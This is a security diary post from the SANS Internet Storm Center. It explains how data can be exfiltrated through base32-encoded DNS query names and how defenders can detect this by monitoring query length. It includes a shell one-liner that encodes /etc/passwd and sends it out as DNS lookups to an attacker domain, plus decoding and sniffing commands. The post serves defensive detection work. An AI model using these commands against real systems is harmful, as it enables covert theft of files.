ISC Stormcast For Friday, April 21st 2017

DNS Query Length... Because Size Does Matter

Published: 2017-04-20
Last Updated: 2017-04-20 07:07:42 UTC
by Xavier Mertens (Version: 1)
5 comment(s)

In many cases, DNS remains a goldmine to detect potentially malicious activity. DNS can be used in multiple ways to bypass security controls. DNS tunnelling is a common way to establish connections with remote systems. It is often based on "TXT" records used to deliver the encoded payload. "TXT" records are also used for good reasons, like delivering SPF records but, too many TXT DNS request could mean that something weird is happening on your network.

Instead of using TXT records, data exfiltration may occur directly via the FQDN ("Fully Qualified Domain Name"). The RFC 1035[1] states that a DNS query length is 255 characters total with each subdomain being 63 characters or less. By using Base32 encoding[2], we can encode our data in strings compatible with the DNS requirements: "A-Z", "0-9" and "-". It is easy to exfiltrate a file with the following shell command. We encode our juicy file (/etc/passwd in this example) and generate DNS request to a domain controlled by the attacker:

$ cat /etc/passwd | base32 -w 63 | while read L
  dig $ @

Note: the parameter '-w 63' prevent the encoding process from breaking the RFC. On the DNS side, here is what we get:

$ grep '' queries.log
20-Apr-2017 08:32:11.075 queries: info: client 172.x.x.x#44635: query: IN A +E (
20-Apr-2017 08:32:11.113 queries: info: client 172.x.x.X#50081: query: IN A +E (
20-Apr-2017 08:32:11.173 queries: info: client 172.x.x.x#40457: query: IN A +E (
20-Apr-2017 08:32:11.222 queries: info: client 172.x.x.x#56897: query: IN A +E (
20-Apr-2017 08:32:11.276 queries: info: client 172.x.x.x#57339: query: IN A +E (

To decode this on the attacker's host, use the following command:

$ grep '' queries.log | cut -d ' ' -f8 | cut -d '.' -f1| base32 -d | more

We don't need full access to the DNS server. If we have access to the network, we just have to sniff some traffic:

# tcpdump -vvv -s 0 -i eth0 -l -n port 53 | egrep "A\? .*\.data\.rootshell\.be"
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
    172.x.x.x.40335 > [udp sum ok] 9843+ [1au] A? ar: . OPT UDPsize=4096 (110)
    172.x.x.x.35770 > [udp sum ok] 19877+ [1au] A? ar: . OPT UDPsize=4096 (110)
    172.x.x.x.41463 > [udp sum ok] 29267+ [1au] A? ar: . OPT UDPsize=4096 (110)
    172.x.x.x.38048 > [udp sum ok] 30042+ [1au] A? ar: . OPT UDPsize=4096 (110)

As you can see, we just used standard DNS requests to exfiltrate data. To detect this, keep an eye on your DNS logs and particularly the query length. The following graph is generated from the DNS logs processed by a Splunk instance. It is helpful to see the distribution of query length across the network:

But, as usual, not all big DNS queries are suspicious. Some CDN's are using queries to identify files. Example:


To reduce the risk of false positives, this control can be combined with others:

  • The volume of traffic per IP
  • The volume of traffic per (sub-)domain
  • White-lists

This technique is not new but comes back regularly in front of the stage. The malware 'Wekby'[3] discovered in 2016 was already using this technique for C2 communications.


Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant

5 comment(s)
ISC Stormcast For Thursday, April 20th 2017


Diary Archives